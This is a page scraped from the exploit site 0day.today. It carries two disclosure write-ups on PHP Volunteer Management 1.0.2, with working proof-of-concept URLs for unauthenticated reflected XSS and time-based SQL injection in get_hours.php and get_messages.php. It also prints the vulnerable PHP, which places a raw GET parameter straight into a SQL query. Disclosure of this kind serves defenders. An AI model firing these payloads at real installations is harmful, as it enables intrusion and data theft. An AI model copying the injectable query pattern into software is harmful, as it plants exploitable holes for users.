0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHP Volunteer Management 1.0.2 Multiple Vulnerabilities
[# Exploit Title: PHP Volunteer Management 'id' 1.0.2 Multiple Vulnerabilities
# Date: 04/21/12
# Author: G13
# Twitter: @g13net
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Version: 1.0.2
# Category: webapp (php)
#
##### ToC #####
0x01 Description
0x02 XSS
0x03 SQL Injection
0x04 Vendor Notification
##### 0x01 Description #####
This is a PHP Volunteer Management software. Keep track of Volunteer
hours worked and location assignments. This system is built on
PHP/MySql.
##### 0x02 XSS #####
---------------Vulnerability-------------------
The 'id' parameter on the get_hours.php page is vulnerable to XSS. No
authentication is needed. This is a reflective XSS vulnerability.
----------Exploit-----------------------------------
http://localhost/mods/hours/data/get_hours.php?id=[XSS]&take=10&skip=0&page=1&pageSize=10
------------PoC---------------------------
http://localhost/mods/hours/data/get_hours.php?id=%27%22%3Cscript%3Ealert%281%29;%3C/script%3E&take=10&skip=0&page=1&pageSize=10
##### 0x03 SQL Injection #####
---------------Vulnerability-------------------
The 'id' parameter on the get_hours.php page is also vulnerable to SQL
Injection. No authentication is needed.
----------Exploit-----------------------------------
http://localhost/mods/hours/data/get_hours.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10
------------PoC---------------------------
http://localhost/mods/hours/data/get_hours.php?id=1%27%20AND%20SLEEP%285%29%20AND%20%27BDzu%27=%27BDzu&take=10&skip=0&page=1&pageSize=10
##### 0x04 Vendor Notification #####
4/21/12 - Vendor Notified
4/24/12 - Vendor reponded, OK to Disclose
# Title: PHP Volunteer Management (get_messages.php) SQL Injection Vulnerabilities
#
# Author: eidelweiss
# Twitter: @AriosRandy
# Website: www.eidelweiss.info
# Software Site: https://sourceforge.net/projects/phpvolunteer/
# Version: 1.0.2
# Category: webapp (php)
# Greetz: Devilzc0de, exploit-db, G13 (first vuln Disclose http://www.exploit-db.com/exploits/18788/) and 1337day.com !!!
##### ToC #####
0x01 Description
0x02 vuln c0de
##### 0x01 Description #####
This is a PHP Volunteer Management software. Keep track of Volunteer
hours worked and location assignments. This system is built on
PHP/MySql.
##### 0x02 vuln c0de #####
---------------Vulnerability-------------------
get_messages.php
==
<?php
define('INCLUDE_CHECK',true);
include '../../../config/connect.php';
$id = $_GET['id'];
$query = "SELECT * FROM messages, volunteers WHERE message_to_id = '$id' AND message_from_id = volunteer_id ORDER BY message_state, message_id";
$mysql_result = mysql_query($query);
$result = array();
while ($row = mysql_fetch_assoc($mysql_result)) {
$result[] = $row;
}
$data = json_encode($result);
print_r($data);
?>
==
The 'id' parameter is vulnerable to SQL Injection. No authentication is needed.
----------Exploit-----------------------------------
http://localhost/mods/messages/data/get_messages.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10
------------PoC---------------------------
http://localhost/mods/messages/data/get_messages.php?id=1%27%20AND%20SLEEP%285%29%20AND%20%27BDzu%27=%27BDzu&take=10&skip=0&page=1&pageSize=10
##### E0F #####
# 0day.today [2024-09-29] #